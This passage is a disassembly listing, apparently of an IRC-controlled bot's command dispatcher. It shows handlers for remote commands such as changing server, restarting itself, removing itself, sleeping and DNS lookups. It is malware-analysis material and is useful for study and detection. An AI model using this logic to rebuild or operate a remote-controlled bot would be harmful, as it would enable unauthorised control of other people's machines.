loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj
push 104h
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
push offset dword_41EC40
call sub_407A56
add esp, 0Ch
jmp short loc_40B62C
; ---------------------------------------------------------------------------
loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj
push offset dword_41EB2C
push offset dword_41EC40
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B631: ; CODE XREF: sub_40A9CF+C12j
mov eax, [ebp+var_1A8]
sub eax, dword_419BE8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B678
mov eax, [ebp+arg_14]
push dword ptr [eax+14h]
mov eax, [ebp+arg_14]
push dword ptr [eax+10h]
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_414600
add esp, 18h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B678: ; CODE XREF: sub_40A9CF+C75j
mov eax, [ebp+var_1A8]
sub eax, dword_419BE0
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40B791
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jnz short loc_40B69F
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_416B40 ; strlen
pop ecx
shl eax, 1
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_5A68], eax
cmp [ebp+var_5A68], 0
jnz short loc_40B6C8
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_416B40 ; strlen
pop ecx
push eax
push [ebp+var_5A68]
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_40EB4E
add esp, 0Ch
push [ebp+var_5A68]
push offset dword_419BC4
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_5A68]
call sub_416B4C ; free
pop ecx
push 1000h
lea eax, [ebp+var_1A60]
push eax
call sub_4104A3
pop ecx
pop ecx
call sub_416B64 ; clock
mov [ebp+var_A60], eax
and [ebp+var_1A64], 0
jmp short loc_40B743
; ---------------------------------------------------------------------------
loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj
mov eax, [ebp+var_1A64]
inc eax
mov [ebp+var_1A64], eax
loc_40B743: ; CODE XREF: sub_40A9CF+D65j
cmp [ebp+var_1A64], 186A0h
jge short loc_40B76C
push 1000h
lea eax, [ebp+var_5A64]
push eax
lea eax, [ebp+var_1A60]
push eax
call sub_40EB4E
add esp, 0Ch
jmp short loc_40B736
; ---------------------------------------------------------------------------
loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej
call sub_416B64 ; clock
sub eax, [ebp+var_A60]
push eax
push offset aItTookMeUms_ ; "It took me %ums."
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B791: ; CODE XREF: sub_40A9CF+CBCj
mov eax, [ebp+var_1A8]
sub eax, dword_419BA4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B823
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jnz short loc_40B7B4
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_416B40 ; strlen
pop ecx
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_5A6C], eax
cmp [ebp+var_5A6C], 0
jnz short loc_40B7DB
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j
push [ebp+var_5A6C]
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_40E9C9
pop ecx
pop ecx
mov ecx, [ebp+var_5A6C]
and byte ptr [ecx+eax], 0
push [ebp+var_5A6C]
push offset dword_419B88
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_5A6C]
call sub_416B4C ; free
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B823: ; CODE XREF: sub_40A9CF+DD5j
mov eax, [ebp+var_1A8]
sub eax, dword_419B78
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B873
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40B85C
push offset dword_41EF48
push offset dword_419B64
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp short loc_40B86E
; ---------------------------------------------------------------------------
loc_40B85C: ; CODE XREF: sub_40A9CF+E70j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_41EF48
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B873: ; CODE XREF: sub_40A9CF+E67j
mov eax, [ebp+var_1A8]
sub eax, dword_419B58
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B899
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_4097A7
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B899: ; CODE XREF: sub_40A9CF+EB7j
mov eax, [ebp+var_1A8]
sub eax, dword_419B4C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B8C7
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_403FE5
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj
mov eax, [ebp+var_1A8]
sub eax, dword_419B3C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B8ED
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_4098F3
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj
mov eax, [ebp+var_1A8]
sub eax, dword_419B30
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B91B
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_406722
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B91B: ; CODE XREF: sub_40A9CF+F31j
mov eax, [ebp+var_1A8]
sub eax, dword_419B20
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B949
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_412F07
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj
mov eax, [ebp+var_1A8]
sub eax, dword_419B14
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B98A
mov eax, [ebp+arg_14]
push dword ptr [eax+10h]
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_40A1A7
add esp, 14h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj
mov eax, [ebp+var_1A8]
sub eax, dword_419B08
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B9BF
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_40A50E
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj
mov eax, [ebp+var_1A8]
sub eax, dword_419AFC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40B9F5
push offset dword_41EB2C
push offset aQuitSRemoved_ ; "QUIT :%s removed."
call sub_40D6CB
pop ecx
pop ecx
push 36EE80h
call ds:dword_41709C ; Sleep
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j
mov eax, [ebp+var_1A8]
sub eax, dword_419ADC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BA79
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BA18
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BA18: ; CODE XREF: sub_40A9CF+1042j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_41DAB4
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov eax, [ebp+arg_14]
cmp dword ptr [eax+8], 0
jz short loc_40BA41
mov eax, [ebp+arg_14]
mov eax, [eax+8]
mov [ebp+var_63EC], eax
jmp short loc_40BA4B
; ---------------------------------------------------------------------------
loc_40BA41: ; CODE XREF: sub_40A9CF+1062j
mov [ebp+var_63EC], offset byte_41DE30
loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j
push [ebp+var_63EC]
push offset dword_41ED48
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push offset dword_41ED48
push offset dword_41DAB4
push offset dword_419AD0
call sub_40D6CB
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BA79: ; CODE XREF: sub_40A9CF+1039j
mov eax, [ebp+var_1A8]
sub eax, dword_419AC4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BADB
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BA9C
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j
mov eax, [ebp+arg_14]
cmp dword ptr [eax+8], 0
jz short loc_40BAB3
mov eax, [ebp+arg_14]
mov eax, [eax+8]
mov [ebp+var_63F0], eax
jmp short loc_40BABD
; ---------------------------------------------------------------------------
loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j
mov [ebp+var_63F0], offset byte_41DE30
loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j
push [ebp+var_63F0]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_419AD0
call sub_40D6CB
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj
mov eax, [ebp+var_1A8]
sub eax, dword_419AB8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BB15
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BAFE
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_419AB0
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj
mov eax, [ebp+var_1A8]
sub eax, dword_419AA4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BB6C
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BB38
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BB38: ; CODE XREF: sub_40A9CF+1162j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_5A70], eax
cmp [ebp+var_5A70], 927C0h
jle short loc_40BB5B
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j
push [ebp+var_5A70]
call ds:dword_41709C ; Sleep
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j
mov eax, [ebp+var_1A8]
sub eax, dword_419A9C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BBB0
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jz short loc_40BB93
mov eax, [ebp+arg_18]
cmp dword ptr [eax+8], 0
jnz short loc_40BB98
loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j
mov eax, [ebp+arg_18]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_40D4AB
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j
mov eax, [ebp+var_1A8]
sub eax, dword_419A90
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BBF4
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jz short loc_40BBD7
mov eax, [ebp+arg_18]
cmp dword ptr [eax+8], 0
jnz short loc_40BBDC
loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j
mov eax, [ebp+arg_18]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_40D420
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j
mov eax, [ebp+var_1A8]
sub eax, dword_419A88
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BC28
mov eax, [ebp+arg_18]
cmp dword ptr [eax+4], 0
jnz short loc_40BC17
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BC17: ; CODE XREF: sub_40A9CF+1241j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
call sub_40D6CB
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BC28: ; CODE XREF: sub_40A9CF+1238j
mov eax, [ebp+var_1A8]
sub eax, dword_419A7C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BCB2
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BC84
cmp dword_41DE38, 0
jz short loc_40BC5B
mov [ebp+var_63F4], offset aOn ; "on"
jmp short loc_40BC65
; ---------------------------------------------------------------------------
loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej
mov [ebp+var_63F4], offset aOff ; "off"
loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj
push [ebp+var_63F4]
push offset aDebugModeIsS_ ; "Debug mode is %s."
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BC84: ; CODE XREF: sub_40A9CF+1275j
push offset aOn ; "on"
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40BCA6
mov dword_41DE38, 1
jmp short loc_40BCAD
; ---------------------------------------------------------------------------
loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j
and dword_41DE38, 0
loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj
mov eax, [ebp+var_1A8]
sub eax, dword_419A50
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BCD9
lea eax, [ebp+var_1A4]
push eax
call sub_415DFD
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j
mov eax, [ebp+var_1A8]
sub eax, dword_419A44
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BD13
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BCFC
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
push offset dword_419A3C
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj
mov eax, [ebp+var_1A8]
sub eax, dword_419A30
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40BD52
mov eax, [ebp+var_1A8]
sub eax, dword_419A24
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40BD52
mov eax, [ebp+var_1A8]
sub eax, dword_419A1C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BD62
loc_40BD52: ; CODE XREF: sub_40A9CF+1357j
; sub_40A9CF+136Cj
push offset aQuitExitting ; "QUIT :exitting"
call sub_40D6CB
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BD62: ; CODE XREF: sub_40A9CF+1381j
mov eax, [ebp+var_1A8]
sub eax, dword_419A10
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BDC9
push 104h
lea eax, [ebp+var_5B74]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
push 0
push 0
push 0
lea eax, [ebp+var_5B74]
push eax
push offset aOpen ; "open"
push 0
call ds:dword_4171D0
cmp eax, 20h
ja short loc_40BDB6
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j
push offset aQuitRestarting ; "QUIT :restarting"
call sub_40D6CB
pop ecx
push 0
call ds:dword_41705C ; ExitProcess
loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j
mov eax, [ebp+var_1A8]
sub eax, dword_419A04
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BE19
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BDEC
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movzx eax, byte ptr [eax]
push eax
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movzx eax, byte ptr [eax]
push eax
push offset dword_4199D4
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 10h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj
mov eax, [ebp+var_1A8]
sub eax, dword_4199C4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BE38
call sub_407148
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj
mov eax, [ebp+var_1A8]
sub eax, dword_4199BC
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40BE62
mov eax, [ebp+var_1A8]
sub eax, dword_4199B0
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BE7B
loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_401D6E
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j
mov eax, [ebp+var_1A8]
sub eax, dword_4199A8
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BEA9
mov eax, [ebp+arg_18]
push dword ptr [eax+4]
lea eax, [ebp+var_1A4]
push eax
call sub_40CEB0
pop ecx
pop ecx
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj
mov eax, [ebp+var_1A8]
sub eax, dword_41999C
neg eax
sbb eax, eax
inc eax
test eax, eax
jnz short loc_40BED3
mov eax, [ebp+var_1A8]
sub eax, dword_41998C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_40BEFD
loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj
push offset aQuitChangingSe ; "QUIT :changing server"
call sub_40D6CB
pop ecx
mov eax, [ebp+arg_14]
push dword ptr [eax+0Ch]
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_40D366
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j
mov eax, [ebp+var_1A8]
sub eax, dword_41996C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40C0D9
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40BF29
mov eax, [ebp+arg_14]
mov dword ptr [eax+4], offset byte_41DE30
loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej
lea eax, [ebp+var_5B78]
push eax
push 0
push 0
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call dword_41DE84 ; getaddrinfo
test eax, eax
jnz loc_40C0BA
mov eax, [ebp+var_5B78]
mov [ebp+var_5B7C], eax
loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j
cmp [ebp+var_5B7C], 0
jz loc_40C0AC
push 2
push 0
push 0
push 401h
lea eax, [ebp+var_5F80]
push eax
mov eax, [ebp+var_5B7C]
push dword ptr [eax+10h]
mov eax, [ebp+var_5B7C]
push dword ptr [eax+18h]
call dword_41DE88 ; getnameinfo
test eax, eax
jnz loc_40C098
mov eax, [ebp+var_5B7C]
cmp dword ptr [eax+4], 2
jnz short loc_40BFEA
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40BFBA
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov [ebp+var_63F8], eax
jmp short loc_40BFC4
; ---------------------------------------------------------------------------
loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj
mov [ebp+var_63F8], offset dword_419968
loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j
lea eax, [ebp+var_5F80]
push eax
push [ebp+var_63F8]
push offset dword_419944
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 10h
jmp loc_40C08D
; ---------------------------------------------------------------------------
loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj
mov eax, [ebp+var_5B7C]
cmp dword ptr [eax+4], 17h
jnz short loc_40C03E
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40C011
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov [ebp+var_63FC], eax
jmp short loc_40C01B
; ---------------------------------------------------------------------------
loc_40C011: ; CODE XREF: sub_40A9CF+1632j
mov [ebp+var_63FC], offset dword_419968
loc_40C01B: ; CODE XREF: sub_40A9CF+1640j
lea eax, [ebp+var_5F80]
push eax
push [ebp+var_63FC]
push offset dword_419920
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 10h
jmp short loc_40C08D
; ---------------------------------------------------------------------------
loc_40C03E: ; CODE XREF: sub_40A9CF+1625j
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40C059
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov [ebp+var_6400], eax
jmp short loc_40C063
; ---------------------------------------------------------------------------
loc_40C059: ; CODE XREF: sub_40A9CF+167Aj
mov [ebp+var_6400], offset dword_419968
loc_40C063: ; CODE XREF: sub_40A9CF+1688j
lea eax, [ebp+var_5F80]
push eax
mov eax, [ebp+var_5B7C]
push dword ptr [eax+4]
push [ebp+var_6400]
push offset dword_4198EC
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 14h
loc_40C08D: ; CODE XREF: sub_40A9CF+1616j
; sub_40A9CF+166Dj
push 3E8h
call ds:dword_41709C ; Sleep
loc_40C098: ; CODE XREF: sub_40A9CF+15BEj
mov eax, [ebp+var_5B7C]
mov eax, [eax+1Ch]
mov [ebp+var_5B7C], eax
jmp loc_40BF54
; ---------------------------------------------------------------------------
loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj
push [ebp+var_5B78]
call dword_41DE8C ; freeaddrinfo
jmp short loc_40C0D4
; ---------------------------------------------------------------------------
loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_4198D0
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j
mov eax, [ebp+var_1A8]
sub eax, dword_4198C4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40C1D4
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jnz short loc_40C105
mov eax, [ebp+arg_14]
mov dword ptr [eax+4], offset byte_41DE30
loc_40C105: ; CODE XREF: sub_40A9CF+172Aj
lea eax, [ebp+var_5F84]
push eax
push 0
push 0
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call dword_41DE84 ; getaddrinfo
test eax, eax
jnz loc_40C1B5
push 4
push 0
push 0
push 401h
lea eax, [ebp+var_6388]
push eax
mov eax, [ebp+var_5F84]
push dword ptr [eax+10h]
mov eax, [ebp+var_5F84]
push dword ptr [eax+18h]
call dword_41DE88 ; getnameinfo
test eax, eax
jnz short loc_40C1A9
push [ebp+var_5F84]
call dword_41DE8C ; freeaddrinfo
mov eax, [ebp+arg_14]
mov eax, [eax+4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40C179
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov [ebp+var_6404], eax
jmp short loc_40C183
; ---------------------------------------------------------------------------
loc_40C179: ; CODE XREF: sub_40A9CF+179Aj
mov [ebp+var_6404], offset dword_419968
loc_40C183: ; CODE XREF: sub_40A9CF+17A8j
lea eax, [ebp+var_6388]
push eax
push [ebp+var_6404]
push offset dword_4198A8
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 10h
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j
push [ebp+var_5F84]
call dword_41DE8C ; freeaddrinfo
loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_4198D0
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj
mov eax, [ebp+var_1A8]
sub eax, dword_419898
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_40C37A
mov eax, [ebp+arg_14]
cmp dword ptr [eax+4], 0
jz short loc_40C207
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416B40 ; strlen
pop ecx
cmp eax, 0Ah
ja short loc_40C20C
loc_40C207: ; CODE XREF: sub_40A9CF+1825j
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C20C: ; CODE XREF: sub_40A9CF+1836j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_638C], eax
push 4
push offset a2002 ; "2002"
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
call sub_416DEA ; memcmp
add esp, 0Ch
test eax, eax
jnz loc_40C35B
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-9]
mov [ebp+var_6398], al
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-8]
mov [ebp+var_6397], al
and [ebp+var_6396], 0
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-7]
mov [ebp+var_6395], al
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-6]
mov [ebp+var_6394], al
and [ebp+var_6393], 0
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-4]
mov [ebp+var_6392], al
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-3]
mov [ebp+var_6391], al
and [ebp+var_6390], 0
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-2]
mov [ebp+var_638F], al
mov eax, [ebp+arg_14]
mov eax, [eax+4]
mov ecx, [ebp+var_638C]
mov al, [eax+ecx-1]
mov [ebp+var_638E], al
and [ebp+var_638D], 0
lea eax, [ebp+var_638F]
push eax
call sub_40A8AD
pop ecx
push eax
lea eax, [ebp+var_6392]
push eax
call sub_40A8AD
pop ecx
push eax
lea eax, [ebp+var_6395]
push eax
call sub_40A8AD
pop ecx
push eax
lea eax, [ebp+var_6398]
push eax
call sub_40A8AD
pop ecx
push eax
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_419860
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 1Ch
jmp short loc_40C375
; ---------------------------------------------------------------------------
loc_40C35B: ; CODE XREF: sub_40A9CF+1866j
mov eax, [ebp+arg_14]
push dword ptr [eax+4]
push offset dword_419844
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40C375: ; CODE XREF: sub_40A9CF+198Aj
jmp loc_40C912
; ---------------------------------------------------------------------------
loc_40C37A: ; CODE XREF: sub_40A9CF+1818j
